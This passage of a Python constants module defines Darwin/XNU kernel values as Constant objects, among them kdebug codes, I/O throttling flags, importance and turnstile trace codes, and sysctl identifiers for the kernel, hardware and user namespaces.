Constant('DBG_MT_RESOURCES_PROC_EXIT',3)\nDBG_MT_RESOURCES_THR_EXIT = Constant('DBG_MT_RESOURCES_THR_EXIT',4)\nDBG_MT_INSTRS_CYCLES_ON_CPU = Constant('DBG_MT_INSTRS_CYCLES_ON_CPU',5)\nDBG_MT_TMPTH = Constant('DBG_MT_TMPTH',0xfe)\nDBG_MT_TMPCPU = Constant('DBG_MT_TMPCPU',0xff)\nDBG_MISC_COREBRIGHTNESS = Constant('DBG_MISC_COREBRIGHTNESS',0x01)\nDBG_MISC_VIDEOENG = Constant('DBG_MISC_VIDEOENG',0x02)\nDBG_EVENT = Constant('DBG_EVENT',0x10)\nDBG_MISC_INSTRUMENTS = Constant('DBG_MISC_INSTRUMENTS',0x11)\nDBG_MISC_INSTRUMENTSBT = Constant('DBG_MISC_INSTRUMENTSBT',0x12)\nDBG_MISC_RUNLOOP_DETAILS = Constant('DBG_MISC_RUNLOOP_DETAILS',0x13)\nDBG_MISC_RUNLOOP_BUSY = Constant('DBG_MISC_RUNLOOP_BUSY',0x14)\nDBG_MISC_LAYOUT = Constant('DBG_MISC_LAYOUT',0x1a)\nDBG_BUFFER = Constant('DBG_BUFFER',0x20)\nDKIO_DONE = Constant('DKIO_DONE',0x01)\nDKIO_READ = Constant('DKIO_READ',0x02)\nDKIO_ASYNC = Constant('DKIO_ASYNC',0x04)\nDKIO_META = Constant('DKIO_META',0x08)\nDKIO_PAGING = Constant('DKIO_PAGING',0x10)\nDKIO_THROTTLE = Constant('DKIO_THROTTLE',0x20)\nDKIO_PASSIVE = Constant('DKIO_PASSIVE',0x40)\nDKIO_NOCACHE = Constant('DKIO_NOCACHE',0x80)\nDKIO_TIER_MASK = Constant('DKIO_TIER_MASK',0xF00)\nDKIO_TIER_SHIFT = Constant('DKIO_TIER_SHIFT',8)\nDKIO_TIER_UPGRADE = Constant('DKIO_TIER_UPGRADE',0x1000)\nDBG_APP_LOGINWINDOW = Constant('DBG_APP_LOGINWINDOW',0x03)\nDBG_APP_AUDIO = Constant('DBG_APP_AUDIO',0x04)\nDBG_APP_SYSTEMUI = Constant('DBG_APP_SYSTEMUI',0x05)\nDBG_APP_SIGNPOST = Constant('DBG_APP_SIGNPOST',0x0A)\nDBG_APP_TAL = Constant('DBG_APP_TAL',0x0B)\nDBG_APP_APPKIT = Constant('DBG_APP_APPKIT',0x0C)\nDBG_APP_UIKIT = Constant('DBG_APP_UIKIT',0x0D)\nDBG_APP_DFR = Constant('DBG_APP_DFR',0x0E)\nDBG_APP_LAYOUT = Constant('DBG_APP_LAYOUT',0x0F)\nDBG_APP_COREDATA = Constant('DBG_APP_COREDATA',0x10)\nDBG_APP_RUNLOOP_BASIC = Constant('DBG_APP_RUNLOOP_BASIC',0x11)\nDBG_APP_RUNLOOP_ADVANCED = Constant('DBG_APP_RUNLOOP_ADVANCED',0x12)\nDBG_APP_SAMBA = Constant('DBG_APP_SAMBA',0x80)\nDBG_APP_EOSSUPPORT = Constant('DBG_APP_EOSSUPPORT',0x81)\nDBG_APP_MACEFIMANAGER = Constant('DBG_APP_MACEFIMANAGER',0x82)\nDBG_APP_ENTERPRISE = Constant('DBG_APP_ENTERPRISE',0x83)\nOPEN_THROTTLE_WINDOW = Constant('OPEN_THROTTLE_WINDOW',0x1)\nPROCESS_THROTTLED = Constant('PROCESS_THROTTLED',0x2)\nIO_THROTTLE_DISABLE = Constant('IO_THROTTLE_DISABLE',0x3)\nIO_TIER_UPL_MISMATCH = Constant('IO_TIER_UPL_MISMATCH',0x4)\nIMP_ASSERTION = Constant('IMP_ASSERTION',0x10)\nIMP_BOOST = Constant('IMP_BOOST',0x11)\nIMP_MSG = Constant('IMP_MSG',0x12)\nIMP_WATCHPORT = Constant('IMP_WATCHPORT',0x13)\nIMP_TASK_SUPPRESSION = Constant('IMP_TASK_SUPPRESSION',0x17)\nIMP_TASK_APPTYPE = Constant('IMP_TASK_APPTYPE',0x18)\nIMP_UPDATE = Constant('IMP_UPDATE',0x19)\nIMP_USYNCH_QOS_OVERRIDE = Constant('IMP_USYNCH_QOS_OVERRIDE',0x1A)\nIMP_DONOR_CHANGE = Constant('IMP_DONOR_CHANGE',0x1B)\nIMP_MAIN_THREAD_QOS = Constant('IMP_MAIN_THREAD_QOS',0x1C)\nIMP_SYNC_IPC_QOS = Constant('IMP_SYNC_IPC_QOS',0x1D)\nIMP_TASK_POLICY_DARWIN_BG = Constant('IMP_TASK_POLICY_DARWIN_BG',0x21)\nIMP_TASK_POLICY_IOPOL = Constant('IMP_TASK_POLICY_IOPOL',0x22)\nIMP_TASK_POLICY_IO = Constant('IMP_TASK_POLICY_IO',0x23)\nIMP_TASK_POLICY_PASSIVE_IO = Constant('IMP_TASK_POLICY_PASSIVE_IO',0x24)\nIMP_TASK_POLICY_DARWIN_BG_IOPOL = Constant('IMP_TASK_POLICY_DARWIN_BG_IOPOL',0x27)\nIMP_TASK_POLICY_BOOST = Constant('IMP_TASK_POLICY_BOOST',0x29)\nIMP_TASK_POLICY_ROLE = Constant('IMP_TASK_POLICY_ROLE',0x2A)\nIMP_TASK_POLICY_TERMINATED = Constant('IMP_TASK_POLICY_TERMINATED',0x2C)\nIMP_TASK_POLICY_NEW_SOCKETS_BG = Constant('IMP_TASK_POLICY_NEW_SOCKETS_BG',0x2D)\nIMP_TASK_POLICY_SUP_ACTIVE = Constant('IMP_TASK_POLICY_SUP_ACTIVE',0x2E)\nIMP_TASK_POLICY_LATENCY_QOS = Constant('IMP_TASK_POLICY_LATENCY_QOS',0x2F)\nIMP_TASK_POLICY_THROUGH_QOS = Constant('IMP_TASK_POLICY_THROUGH_QOS',0x30)\nIMP_TASK_POLICY_WATCHERS_BG = Constant('IMP_TASK_POLICY_WATCHERS_BG',0x31)\nIMP_TASK_POLICY_SFI_MANAGED = Constant('IMP_TASK_POLICY_SFI_MANAGED',0x34)\nIMP_TASK_POLICY_ALL_SOCKETS_BG = Constant('IMP_TASK_POLICY_ALL_SOCKETS_BG',0x37)\nIMP_TASK_POLICY_BASE_LATENCY_AND_THROUGHPUT_QOS = Constant('IMP_TASK_POLICY_BASE_LATENCY_AND_THROUGHPUT_QOS',0x39)\nIMP_TASK_POLICY_OVERRIDE_LATENCY_AND_THROUGHPUT_QOS = Constant('IMP_TASK_POLICY_OVERRIDE_LATENCY_AND_THROUGHPUT_QOS',0x3A)\nIMP_TASK_POLICY_PIDBIND_BG = Constant('IMP_TASK_POLICY_PIDBIND_BG',0x32)\nIMP_TASK_POLICY_QOS_OVERRIDE = Constant('IMP_TASK_POLICY_QOS_OVERRIDE',0x36)\nIMP_TASK_POLICY_QOS_AND_RELPRIO = Constant('IMP_TASK_POLICY_QOS_AND_RELPRIO',0x38)\nIMP_TASK_POLICY_QOS_WORKQ_OVERRIDE = Constant('IMP_TASK_POLICY_QOS_WORKQ_OVERRIDE',0x3B)\nIMP_TASK_POLICY_QOS_PROMOTE = Constant('IMP_TASK_POLICY_QOS_PROMOTE',0x3C)\nIMP_TASK_POLICY_QOS_KEVENT_OVERRIDE = Constant('IMP_TASK_POLICY_QOS_KEVENT_OVERRIDE',0x3D)\nIMP_TASK_POLICY_QOS_SERVICER_OVERRIDE = Constant('IMP_TASK_POLICY_QOS_SERVICER_OVERRIDE',0x3E)\nIMP_TASK_POLICY_IOTIER_KEVENT_OVERRIDE = Constant('IMP_TASK_POLICY_IOTIER_KEVENT_OVERRIDE',0x3F)\nIMP_TASK_POLICY_WI_DRIVEN = Constant('IMP_TASK_POLICY_WI_DRIVEN',0x40)\nIMP_HOLD = Constant('IMP_HOLD',0x2)\nIMP_DROP = Constant('IMP_DROP',0x4)\nIMP_EXTERN = Constant('IMP_EXTERN',0x8)\nIMP_BOOSTED = Constant('IMP_BOOSTED',0x1)\nIMP_UNBOOSTED = Constant('IMP_UNBOOSTED',0x2)\nIMP_MSG_SEND = Constant('IMP_MSG_SEND',0x1)\nIMP_MSG_DELV = Constant('IMP_MSG_DELV',0x2)\nIMP_UPDATE_TASK_CREATE = Constant('IMP_UPDATE_TASK_CREATE',0x1)\nIMP_USYNCH_ADD_OVERRIDE = Constant('IMP_USYNCH_ADD_OVERRIDE',0x0)\nIMP_USYNCH_REMOVE_OVERRIDE = Constant('IMP_USYNCH_REMOVE_OVERRIDE',0x1)\nIMP_DONOR_UPDATE_LIVE_DONOR_STATE = Constant('IMP_DONOR_UPDATE_LIVE_DONOR_STATE',0x0)\nIMP_DONOR_INIT_DONOR_STATE = Constant('IMP_DONOR_INIT_DONOR_STATE',0x1)\nIMP_SYNC_IPC_QOS_APPLIED = Constant('IMP_SYNC_IPC_QOS_APPLIED',0x0)\nIMP_SYNC_IPC_QOS_REMOVED = Constant('IMP_SYNC_IPC_QOS_REMOVED',0x1)\nIMP_SYNC_IPC_QOS_OVERFLOW = Constant('IMP_SYNC_IPC_QOS_OVERFLOW',0x2)\nIMP_SYNC_IPC_QOS_UNDERFLOW = Constant('IMP_SYNC_IPC_QOS_UNDERFLOW',0x3)\nTURNSTILE_HEAP_OPERATIONS = Constant('TURNSTILE_HEAP_OPERATIONS',0x10)\nTURNSTILE_PRIORITY_OPERATIONS = Constant('TURNSTILE_PRIORITY_OPERATIONS',0x20)\nTURNSTILE_FREELIST_OPERATIONS = Constant('TURNSTILE_FREELIST_OPERATIONS',0x30)\nTHREAD_ADDED_TO_TURNSTILE_WAITQ = Constant('THREAD_ADDED_TO_TURNSTILE_WAITQ',0x1)\nTHREAD_REMOVED_FROM_TURNSTILE_WAITQ = Constant('THREAD_REMOVED_FROM_TURNSTILE_WAITQ',0x2)\nTHREAD_MOVED_IN_TURNSTILE_WAITQ = Constant('THREAD_MOVED_IN_TURNSTILE_WAITQ',0x3)\nTURNSTILE_ADDED_TO_TURNSTILE_HEAP = Constant('TURNSTILE_ADDED_TO_TURNSTILE_HEAP',0x4)\nTURNSTILE_REMOVED_FROM_TURNSTILE_HEAP = Constant('TURNSTILE_REMOVED_FROM_TURNSTILE_HEAP',0x5)\nTURNSTILE_MOVED_IN_TURNSTILE_HEAP = Constant('TURNSTILE_MOVED_IN_TURNSTILE_HEAP',0x6)\nTURNSTILE_ADDED_TO_THREAD_HEAP = Constant('TURNSTILE_ADDED_TO_THREAD_HEAP',0x7)\nTURNSTILE_REMOVED_FROM_THREAD_HEAP = Constant('TURNSTILE_REMOVED_FROM_THREAD_HEAP',0x8)\nTURNSTILE_MOVED_IN_THREAD_HEAP = Constant('TURNSTILE_MOVED_IN_THREAD_HEAP',0x9)\nTURNSTILE_UPDATE_STOPPED_BY_LIMIT = Constant('TURNSTILE_UPDATE_STOPPED_BY_LIMIT',0xa)\nTHREAD_NOT_WAITING_ON_TURNSTILE = Constant('THREAD_NOT_WAITING_ON_TURNSTILE',0xb)\nTURNSTILE_PRIORITY_CHANGE = Constant('TURNSTILE_PRIORITY_CHANGE',0x1)\nTHREAD_USER_PROMOTION_CHANGE = Constant('THREAD_USER_PROMOTION_CHANGE',0x2)\nTURNSTILE_PREPARE = Constant('TURNSTILE_PREPARE',0x1)\nTURNSTILE_COMPLETE = Constant('TURNSTILE_COMPLETE',0x2)\nBANK_ACCOUNT_INFO = Constant('BANK_ACCOUNT_INFO',0x10)\nBANK_TASK_INFO = Constant('BANK_TASK_INFO',0x11)\nATM_SUBAID_INFO = Constant('ATM_SUBAID_INFO',0x10)\nATM_GETVALUE_INFO = Constant('ATM_GETVALUE_INFO',0x20)\nATM_UNREGISTER_INFO = Constant('ATM_UNREGISTER_INFO',0x30)\nBANK_SETTLE_CPU_TIME = Constant('BANK_SETTLE_CPU_TIME',0x1)\nBANK_SECURE_ORIGINATOR_CHANGED = Constant('BANK_SECURE_ORIGINATOR_CHANGED',0x2)\nBANK_SETTLE_ENERGY = Constant('BANK_SETTLE_ENERGY',0x3)\nATM_MIN_CALLED = Constant('ATM_MIN_CALLED',0x1)\nATM_LINK_LIST_TRIM = Constant('ATM_LINK_LIST_TRIM',0x2)\nATM_VALUE_REPLACED = Constant('ATM_VALUE_REPLACED',0x1)\nATM_VALUE_ADDED = Constant('ATM_VALUE_ADDED',0x2)\nATM_VALUE_UNREGISTERED = Constant('ATM_VALUE_UNREGISTERED',0x1)\nATM_VALUE_DIFF_MAILBOX = Constant('ATM_VALUE_DIFF_MAILBOX',0x2)\nDBG_DAEMON_COREDUET = Constant('DBG_DAEMON_COREDUET',0x1)\nDBG_DAEMON_POWERD = Constant('DBG_DAEMON_POWERD',0x2)\nDBG_UMALLOC_EXTERNAL = Constant('DBG_UMALLOC_EXTERNAL',0x1)\nDBG_UMALLOC_INTERNAL = Constant('DBG_UMALLOC_INTERNAL',0x2)\nBSD = Constant('BSD',199506)\nBSD4_3 = Constant('BSD4_3',1)\nBSD4_4 = Constant('BSD4_4',1)\nNeXTBSD = Constant('NeXTBSD',1995064)\nNeXTBSD4_0 = Constant('NeXTBSD4_0',0)\nMAXCOMLEN = Constant('MAXCOMLEN',16)\nMAXINTERP = Constant('MAXINTERP',64)\nMAXLOGNAME = Constant('MAXLOGNAME',255)\nNOFILE = Constant('NOFILE',256)\nNOGROUP = Constant('NOGROUP',65535)\nMAXHOSTNAMELEN = Constant('MAXHOSTNAMELEN',256)\nMAXDOMNAMELEN = Constant('MAXDOMNAMELEN',256)\nPSWP = Constant('PSWP',0)\nPVM = Constant('PVM',4)\nPINOD = Constant('PINOD',8)\nPRIBIO = Constant('PRIBIO',16)\nPVFS = Constant('PVFS',20)\nPZERO = Constant('PZERO',22)\nPSOCK = Constant('PSOCK',24)\nPWAIT = Constant('PWAIT',32)\nPLOCK = Constant('PLOCK',36)\nPPAUSE = Constant('PPAUSE',40)\nPUSER = Constant('PUSER',50)\nMAXPRI = Constant('MAXPRI',127)\nPRIMASK = Constant('PRIMASK',0x0ff)\nPCATCH = Constant('PCATCH',0x100)\nPTTYBLOCK = Constant('PTTYBLOCK',0x200)\nPDROP = Constant('PDROP',0x400)\nPSPIN = Constant('PSPIN',0x800)\nCMASK = Constant('CMASK',0o022)\nCBLOCK = Constant('CBLOCK',64)\nMAXFRAG = Constant('MAXFRAG',8)\nMAXSYMLINKS = Constant('MAXSYMLINKS',32)\nFSHIFT = Constant('FSHIFT',11)\nLF_NOT_BOOSTED = Constant('LF_NOT_BOOSTED',0)\nLF_BOOSTED = Constant('LF_BOOSTED',1)\nPSHMNAMLEN = Constant('PSHMNAMLEN',31)\nSHM_RDONLY = Constant('SHM_RDONLY',0o010000)\nSHM_RND = Constant('SHM_RND',0o020000)\nSHMLBA = Constant('SHMLBA',4096)\nTIOCM_LE = Constant('TIOCM_LE',0o0001)\nTIOCM_DTR = Constant('TIOCM_DTR',0o0002)\nTIOCM_RTS = Constant('TIOCM_RTS',0o0004)\nTIOCM_ST = Constant('TIOCM_ST',0o0010)\nTIOCM_SR = Constant('TIOCM_SR',0o0020)\nTIOCM_CTS = Constant('TIOCM_CTS',0o0040)\nTIOCM_CAR = Constant('TIOCM_CAR',0o0100)\nTIOCM_RNG = Constant('TIOCM_RNG',0o0200)\nTIOCM_DSR = Constant('TIOCM_DSR',0o0400)\nTIOCPKT_DATA = Constant('TIOCPKT_DATA',0x00)\nTIOCPKT_FLUSHREAD = Constant('TIOCPKT_FLUSHREAD',0x01)\nTIOCPKT_FLUSHWRITE = Constant('TIOCPKT_FLUSHWRITE',0x02)\nTIOCPKT_STOP = Constant('TIOCPKT_STOP',0x04)\nTIOCPKT_START = Constant('TIOCPKT_START',0x08)\nTIOCPKT_NOSTOP = Constant('TIOCPKT_NOSTOP',0x10)\nTIOCPKT_DOSTOP = Constant('TIOCPKT_DOSTOP',0x20)\nTIOCPKT_IOCTL = Constant('TIOCPKT_IOCTL',0x40)\nTTYDISC = Constant('TTYDISC',0)\nTABLDISC = Constant('TABLDISC',3)\nSLIPDISC = Constant('SLIPDISC',4)\nPPPDISC = Constant('PPPDISC',5)\nCTL_MAXNAME = Constant('CTL_MAXNAME',12)\nCTLTYPE = Constant('CTLTYPE',0xf)\nCTLTYPE_NODE = Constant('CTLTYPE_NODE',1)\nCTLTYPE_INT = Constant('CTLTYPE_INT',2)\nCTLTYPE_STRING = Constant('CTLTYPE_STRING',3)\nCTLTYPE_QUAD = Constant('CTLTYPE_QUAD',4)\nCTLTYPE_OPAQUE = Constant('CTLTYPE_OPAQUE',5)\nCTLFLAG_RD = Constant('CTLFLAG_RD',0x80000000)\nCTLFLAG_WR = Constant('CTLFLAG_WR',0x40000000)\nCTLFLAG_NOLOCK = Constant('CTLFLAG_NOLOCK',0x20000000)\nCTLFLAG_ANYBODY = Constant('CTLFLAG_ANYBODY',0x10000000)\nCTLFLAG_SECURE = Constant('CTLFLAG_SECURE',0x08000000)\nCTLFLAG_MASKED = Constant('CTLFLAG_MASKED',0x04000000)\nCTLFLAG_NOAUTO = Constant('CTLFLAG_NOAUTO',0x02000000)\nCTLFLAG_KERN = Constant('CTLFLAG_KERN',0x01000000)\nCTLFLAG_LOCKED = Constant('CTLFLAG_LOCKED',0x00800000)\nCTLFLAG_OID2 = Constant('CTLFLAG_OID2',0x00400000)\nCTLFLAG_EXPERIMENT = Constant('CTLFLAG_EXPERIMENT',0x00100000)\nOID_AUTO_START = Constant('OID_AUTO_START',100)\nSYSCTL_OID_VERSION = Constant('SYSCTL_OID_VERSION',1)\nSYSCTL_SKMEM = Constant('SYSCTL_SKMEM',1)\nCTL_UNSPEC = Constant('CTL_UNSPEC',0)\nCTL_KERN = Constant('CTL_KERN',1)\nCTL_VM = Constant('CTL_VM',2)\nCTL_VFS = Constant('CTL_VFS',3)\nCTL_NET = Constant('CTL_NET',4)\nCTL_DEBUG = Constant('CTL_DEBUG',5)\nCTL_HW = Constant('CTL_HW',6)\nCTL_MACHDEP = Constant('CTL_MACHDEP',7)\nCTL_USER = Constant('CTL_USER',8)\nCTL_MAXID = Constant('CTL_MAXID',9)\nKERN_OSTYPE = Constant('KERN_OSTYPE',1)\nKERN_OSRELEASE = Constant('KERN_OSRELEASE',2)\nKERN_OSREV = Constant('KERN_OSREV',3)\nKERN_VERSION = Constant('KERN_VERSION',4)\nKERN_MAXVNODES = Constant('KERN_MAXVNODES',5)\nKERN_MAXPROC = Constant('KERN_MAXPROC',6)\nKERN_MAXFILES = Constant('KERN_MAXFILES',7)\nKERN_ARGMAX = Constant('KERN_ARGMAX',8)\nKERN_SECURELVL = Constant('KERN_SECURELVL',9)\nKERN_HOSTNAME = Constant('KERN_HOSTNAME',10)\nKERN_HOSTID = Constant('KERN_HOSTID',11)\nKERN_CLOCKRATE = Constant('KERN_CLOCKRATE',12)\nKERN_VNODE = Constant('KERN_VNODE',13)\nKERN_PROC = Constant('KERN_PROC',14)\nKERN_FILE = Constant('KERN_FILE',15)\nKERN_PROF = Constant('KERN_PROF',16)\nKERN_POSIX1 = Constant('KERN_POSIX1',17)\nKERN_NGROUPS = Constant('KERN_NGROUPS',18)\nKERN_JOB_CONTROL = Constant('KERN_JOB_CONTROL',19)\nKERN_SAVED_IDS = Constant('KERN_SAVED_IDS',20)\nKERN_BOOTTIME = Constant('KERN_BOOTTIME',21)\nKERN_NISDOMAINNAME = Constant('KERN_NISDOMAINNAME',22)\nKERN_MAXPARTITIONS = Constant('KERN_MAXPARTITIONS',23)\nKERN_KDEBUG = Constant('KERN_KDEBUG',24)\nKERN_UPDATEINTERVAL = Constant('KERN_UPDATEINTERVAL',25)\nKERN_OSRELDATE = Constant('KERN_OSRELDATE',26)\nKERN_NTP_PLL = Constant('KERN_NTP_PLL',27)\nKERN_BOOTFILE = Constant('KERN_BOOTFILE',28)\nKERN_MAXFILESPERPROC = Constant('KERN_MAXFILESPERPROC',29)\nKERN_MAXPROCPERUID = Constant('KERN_MAXPROCPERUID',30)\nKERN_DUMPDEV = Constant('KERN_DUMPDEV',31)\nKERN_IPC = Constant('KERN_IPC',32)\nKERN_DUMMY = Constant('KERN_DUMMY',33)\nKERN_PS_STRINGS = Constant('KERN_PS_STRINGS',34)\nKERN_USRSTACK32 = Constant('KERN_USRSTACK32',35)\nKERN_LOGSIGEXIT = Constant('KERN_LOGSIGEXIT',36)\nKERN_SYMFILE = Constant('KERN_SYMFILE',37)\nKERN_PROCARGS = Constant('KERN_PROCARGS',38)\nKERN_NETBOOT = Constant('KERN_NETBOOT',40)\nKERN_SYSV = Constant('KERN_SYSV',42)\nKERN_AFFINITY = Constant('KERN_AFFINITY',43)\nKERN_TRANSLATE = Constant('KERN_TRANSLATE',44)\nKERN_EXEC = Constant('KERN_EXEC',45)\nKERN_AIOMAX = Constant('KERN_AIOMAX',46)\nKERN_AIOPROCMAX = Constant('KERN_AIOPROCMAX',47)\nKERN_AIOTHREADS = Constant('KERN_AIOTHREADS',48)\nKERN_PROCARGS2 = Constant('KERN_PROCARGS2',49)\nKERN_COREFILE = Constant('KERN_COREFILE',50)\nKERN_COREDUMP = Constant('KERN_COREDUMP',51)\nKERN_SUGID_COREDUMP = Constant('KERN_SUGID_COREDUMP',52)\nKERN_PROCDELAYTERM = Constant('KERN_PROCDELAYTERM',53)\nKERN_SHREG_PRIVATIZABLE = Constant('KERN_SHREG_PRIVATIZABLE',54)\nKERN_LOW_PRI_WINDOW = Constant('KERN_LOW_PRI_WINDOW',56)\nKERN_LOW_PRI_DELAY = Constant('KERN_LOW_PRI_DELAY',57)\nKERN_POSIX = Constant('KERN_POSIX',58)\nKERN_USRSTACK64 = Constant('KERN_USRSTACK64',59)\nKERN_NX_PROTECTION = Constant('KERN_NX_PROTECTION',60)\nKERN_TFP = Constant('KERN_TFP',61)\nKERN_PROCNAME = Constant('KERN_PROCNAME',62)\nKERN_THALTSTACK = Constant('KERN_THALTSTACK',63)\nKERN_SPECULATIVE_READS = Constant('KERN_SPECULATIVE_READS',64)\nKERN_OSVERSION = Constant('KERN_OSVERSION',65)\nKERN_SAFEBOOT = Constant('KERN_SAFEBOOT',66)\nKERN_RAGEVNODE = Constant('KERN_RAGEVNODE',68)\nKERN_TTY = Constant('KERN_TTY',69)\nKERN_CHECKOPENEVT = Constant('KERN_CHECKOPENEVT',70)\nKERN_THREADNAME = Constant('KERN_THREADNAME',71)\nKERN_MAXID = Constant('KERN_MAXID',72)\nKERN_RAGE_PROC = Constant('KERN_RAGE_PROC',1)\nKERN_RAGE_THREAD = Constant('KERN_RAGE_THREAD',2)\nKERN_UNRAGE_PROC = Constant('KERN_UNRAGE_PROC',3)\nKERN_UNRAGE_THREAD = Constant('KERN_UNRAGE_THREAD',4)\nKERN_OPENEVT_PROC = Constant('KERN_OPENEVT_PROC',1)\nKERN_UNOPENEVT_PROC = Constant('KERN_UNOPENEVT_PROC',2)\nKERN_TFP_POLICY = Constant('KERN_TFP_POLICY',1)\nKERN_TFP_POLICY_DENY = Constant('KERN_TFP_POLICY_DENY',0)\nKERN_TFP_POLICY_DEFAULT = Constant('KERN_TFP_POLICY_DEFAULT',2)\nKERN_KDEFLAGS = Constant('KERN_KDEFLAGS',1)\nKERN_KDDFLAGS = Constant('KERN_KDDFLAGS',2)\nKERN_KDENABLE = Constant('KERN_KDENABLE',3)\nKERN_KDSETBUF = Constant('KERN_KDSETBUF',4)\nKERN_KDGETBUF = Constant('KERN_KDGETBUF',5)\nKERN_KDSETUP = Constant('KERN_KDSETUP',6)\nKERN_KDREMOVE = Constant('KERN_KDREMOVE',7)\nKERN_KDSETREG = Constant('KERN_KDSETREG',8)\nKERN_KDGETREG = Constant('KERN_KDGETREG',9)\nKERN_KDREADTR = Constant('KERN_KDREADTR',10)\nKERN_KDPIDTR = Constant('KERN_KDPIDTR',11)\nKERN_KDTHRMAP = Constant('KERN_KDTHRMAP',12)\nKERN_KDPIDEX = Constant('KERN_KDPIDEX',14)\nKERN_KDSETRTCDEC = Constant('KERN_KDSETRTCDEC',15)\nKERN_KDGETENTROPY = Constant('KERN_KDGETENTROPY',16)\nKERN_KDWRITETR = Constant('KERN_KDWRITETR',17)\nKERN_KDWRITEMAP = Constant('KERN_KDWRITEMAP',18)\nKERN_KDTEST = Constant('KERN_KDTEST',19)\nKERN_KDREADCURTHRMAP = Constant('KERN_KDREADCURTHRMAP',21)\nKERN_KDSET_TYPEFILTER = Constant('KERN_KDSET_TYPEFILTER',22)\nKERN_KDBUFWAIT = Constant('KERN_KDBUFWAIT',23)\nKERN_KDCPUMAP = Constant('KERN_KDCPUMAP',24)\nKERN_KDCPUMAP_EXT = Constant('KERN_KDCPUMAP_EXT',25)\nKERN_KDSET_EDM = Constant('KERN_KDSET_EDM',26)\nKERN_KDGET_EDM = Constant('KERN_KDGET_EDM',27)\nKERN_KDWRITETR_V3 = Constant('KERN_KDWRITETR_V3',28)\nKERN_PROC_ALL = Constant('KERN_PROC_ALL',0)\nKERN_PROC_PID = Constant('KERN_PROC_PID',1)\nKERN_PROC_PGRP = Constant('KERN_PROC_PGRP',2)\nKERN_PROC_SESSION = Constant('KERN_PROC_SESSION',3)\nKERN_PROC_TTY = Constant('KERN_PROC_TTY',4)\nKERN_PROC_UID = Constant('KERN_PROC_UID',5)\nKERN_PROC_RUID = Constant('KERN_PROC_RUID',6)\nKERN_PROC_LCID = Constant('KERN_PROC_LCID',7)\nKERN_VFSNSPACE_HANDLE_PROC = Constant('KERN_VFSNSPACE_HANDLE_PROC',1)\nKERN_VFSNSPACE_UNHANDLE_PROC = Constant('KERN_VFSNSPACE_UNHANDLE_PROC',2)\nKIPC_MAXSOCKBUF = Constant('KIPC_MAXSOCKBUF',1)\nKIPC_SOCKBUF_WASTE = Constant('KIPC_SOCKBUF_WASTE',2)\nKIPC_SOMAXCONN = Constant('KIPC_SOMAXCONN',3)\nKIPC_MAX_LINKHDR = Constant('KIPC_MAX_LINKHDR',4)\nKIPC_MAX_PROTOHDR = Constant('KIPC_MAX_PROTOHDR',5)\nKIPC_MAX_HDR = Constant('KIPC_MAX_HDR',6)\nKIPC_MAX_DATALEN = Constant('KIPC_MAX_DATALEN',7)\nKIPC_MBSTAT = Constant('KIPC_MBSTAT',8)\nKIPC_NMBCLUSTERS = Constant('KIPC_NMBCLUSTERS',9)\nKIPC_SOQLIMITCOMPAT = Constant('KIPC_SOQLIMITCOMPAT',10)\nVM_METER = Constant('VM_METER',1)\nVM_LOADAVG = Constant('VM_LOADAVG',2)\nVM_MACHFACTOR = Constant('VM_MACHFACTOR',4)\nVM_SWAPUSAGE = Constant('VM_SWAPUSAGE',5)\nVM_MAXID = Constant('VM_MAXID',6)\nLSCALE = Constant('LSCALE',1000)\nHW_MACHINE = Constant('HW_MACHINE',1)\nHW_MODEL = Constant('HW_MODEL',2)\nHW_NCPU = Constant('HW_NCPU',3)\nHW_BYTEORDER = Constant('HW_BYTEORDER',4)\nHW_PHYSMEM = Constant('HW_PHYSMEM',5)\nHW_USERMEM = Constant('HW_USERMEM',6)\nHW_PAGESIZE = Constant('HW_PAGESIZE',7)\nHW_DISKNAMES = Constant('HW_DISKNAMES',8)\nHW_DISKSTATS = Constant('HW_DISKSTATS',9)\nHW_EPOCH = Constant('HW_EPOCH',10)\nHW_FLOATINGPT = Constant('HW_FLOATINGPT',11)\nHW_MACHINE_ARCH = Constant('HW_MACHINE_ARCH',12)\nHW_VECTORUNIT = Constant('HW_VECTORUNIT',13)\nHW_BUS_FREQ = Constant('HW_BUS_FREQ',14)\nHW_CPU_FREQ = Constant('HW_CPU_FREQ',15)\nHW_CACHELINE = Constant('HW_CACHELINE',16)\nHW_L1ICACHESIZE = Constant('HW_L1ICACHESIZE',17)\nHW_L1DCACHESIZE = Constant('HW_L1DCACHESIZE',18)\nHW_L2SETTINGS = Constant('HW_L2SETTINGS',19)\nHW_L2CACHESIZE = Constant('HW_L2CACHESIZE',20)\nHW_L3SETTINGS = Constant('HW_L3SETTINGS',21)\nHW_L3CACHESIZE = Constant('HW_L3CACHESIZE',22)\nHW_TB_FREQ = Constant('HW_TB_FREQ',23)\nHW_MEMSIZE = Constant('HW_MEMSIZE',24)\nHW_AVAILCPU = Constant('HW_AVAILCPU',25)\nHW_TARGET = Constant('HW_TARGET',26)\nHW_PRODUCT = Constant('HW_PRODUCT',27)\nHW_MAXID = Constant('HW_MAXID',28)\nUSER_CS_PATH = Constant('USER_CS_PATH',1)\nUSER_BC_BASE_MAX = Constant('USER_BC_BASE_MAX',2)\nUSER_BC_DIM_MAX = Constant('USER_BC_DIM_MAX',3)\nUSER_BC_SCALE_MAX = Constant('USER_BC_SCALE_MAX',4)\nUSER_BC_STRING_MAX = Constant('USER_BC_STRING_MAX',5)\nUSER_COLL_WEIGHTS_MAX = Constant('USER_COLL_WEIGHTS_MAX',6)\nUSER_EXPR_NEST_MAX = Constant('USER_EXPR_NEST_MAX',7)\nUSER_LINE_MAX = Constant('USER_LINE_MAX',8)\nUSER_RE_DUP_MAX = Constant('USER_RE_DUP_MAX',9)\nUSER_POSIX2_VERSION = Constant('USER_POSIX2_VERSION',10)\nUSER_POSIX2_C_BIND = Constant('USER_POSIX2_C_BIND',11)\nUSER_POSIX2_C_DEV = Constant('USER_POSIX2_C_DEV',12)\nUSER_POSIX2_CHAR_TERM = Constant('USER_POSIX2_CHAR_TERM',13)\nUSER_POSIX2_FORT_DEV = Constant('USER_POSIX2_FORT_DEV',14)\nUSER_POSIX2_FORT_RUN = Constant('USER_POSIX2_FORT_RUN',15)\nUSER_POSIX2_LOCALEDEF = Constant('USER_POSIX2_LOCALEDEF',16)\nUSER_POSIX2_SW_DEV = Constant('USER_POSIX2_SW_DEV',17)\nUSER_POSIX2_UPE = Constant('USER_POSIX2_UPE',18)\nUSER_STREAM_MAX = Constant('USER_STREAM_MAX',19)\nUSER_TZNAME_MAX = Constant('USER_TZNAME_MAX',20)\nUSER_MAXID = Constant('USER_MAXID',21)\nCTL_DEBUG_NAME = 